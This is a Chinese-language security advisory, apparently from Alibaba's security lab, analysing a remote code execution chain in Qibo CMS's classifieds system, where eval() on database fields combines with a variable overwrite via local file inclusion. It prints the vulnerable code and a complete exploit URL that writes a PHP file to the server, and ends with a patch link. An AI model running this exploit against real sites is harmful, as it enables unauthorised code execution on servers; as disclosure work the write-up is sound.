作者:
阿里巴巴安全研究实验室—扶夙
受影响系统:qibo所有产有产品都存在类似问题
0x00背景
阿里Hydra系统于2015.6.30号监测到齐博多系统发布补丁,修补了Hydra系统于5月份分析的漏洞以及最新乌云爆的远程代码执行漏洞。通过Hydra系统得知,该补丁修改了全局文件inc/common.inc.php。分类系统修改了jf.php、admin.php。
0x01 分析
以分类系统为例分析该漏洞及前台无限制远程代码执行。
通过搜索eval调用,查找到/var/www/v7_utf8/do/jf.php文件,存在潜在的代码执行漏洞。
$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list"); while($rs = $db->fetch_array($query)){ $fnameDB[$rs[fid]]=$rs[name]; $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list"); while($rs2 = $db->fetch_array($query2)){ eval("/$rs2[title]=/"$rs2[title]/";"); eval("/$rs2[content]=/"$rs2[content]/";"); $jfDB[$rs[fid]][]=$rs2; } }
可以看到title和content字段从数据库pre_jfabout中取出,如果该参数可控,则可导致远程代码执行漏洞。搜索jfabout关键字,寻找insert或者update操作,查找可控的title和content内容,找到文件/var/www/qiblog/hack/jfadmin/admin.php。
elseif($action=="addjf"&&$Apower[jfadmin_mod]) { $db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )"); jump("��ӳɹ�","index.php?lfj=jfadmin&job=listjf&fid=$fid",1); }
及:
elseif($action=="editjf"&&$Apower[jfadmin_mod]) { $db->query("UPDATE `{$pre}jfabout` SET `fid`='$fid',`title`='$title',`content`='$content' WHERE id='$id'"); jump("��ӳɹ�","index.php?lfj=jfadmin&job=listjf&fid=$fid",1); }
可以看到,title、content内容可控,通过POST提交即可进入数据库。
通过unset掉Apower变量,搜索利用方法。
前台利用,因为该文件需要Apower变量不为空,验证了是否具有管理员权限。但Apower变量末初始化,假设能调用/hack/jfadmin/admin.php,并覆盖该参数即可。前台搜索找到search.php有本地文件包含漏洞。可以利用该点来利用。
Search.php:
$fid_select="<select name='fid' onChange=/"if(this.options[this.selectedIndex].value=='-1'){alert('�㲻��ѡ������');}/"><option value='0' style='color:#aaa;'>������Ŀ</option>"; foreach( $Fid_db[0] AS $key=>$value){ $fid_select.="<option value='-1' style='color:red;'>$value</option>"; foreach( $Fid_db[$key] AS $key2=>$value2){ $ckk=$fid==$key2?' selected ':' '; $fid_select.="<option value='$key2' $ckk> |--$value2</option>"; } } $fid_select.="</select>"; $postdb[city_id] && $city_id = $postdb[city_id]; $postdb[street_id] && $street_id = $postdb[street_id]; $postdb[zone_id] && $zone_id = $postdb[zone_id]; @include_once(ROOT_PATH."data/zone/$city_id.php");
$city_id为$postdb[city_id]变量而来可控。可直接包含利用。
0x02 利用
通过以上分析可知,首先通过admin.php将恶意代码插入数据库,然后再从jf.php取出数据即可代码执行。前台利用文件包含覆盖Apower变量进入addjf即可远程利用。
利用:
http://192.168.80.133:81/fenlei1.0/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1& title=test&content=${@fwrite(fopen('ali.php', 'w+'),'test')}&list=1
即可在admin目录下生成ali.php。
或者普通用户访问/do/jf.php,即可在do目录下生成ali.php文件
0x03 修复
手段:更新官方补丁
补丁链接:
http://bbs.qibosoft.com/job-forum-action-download-pid-tpc-tid-422299-aid-92428.htm
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论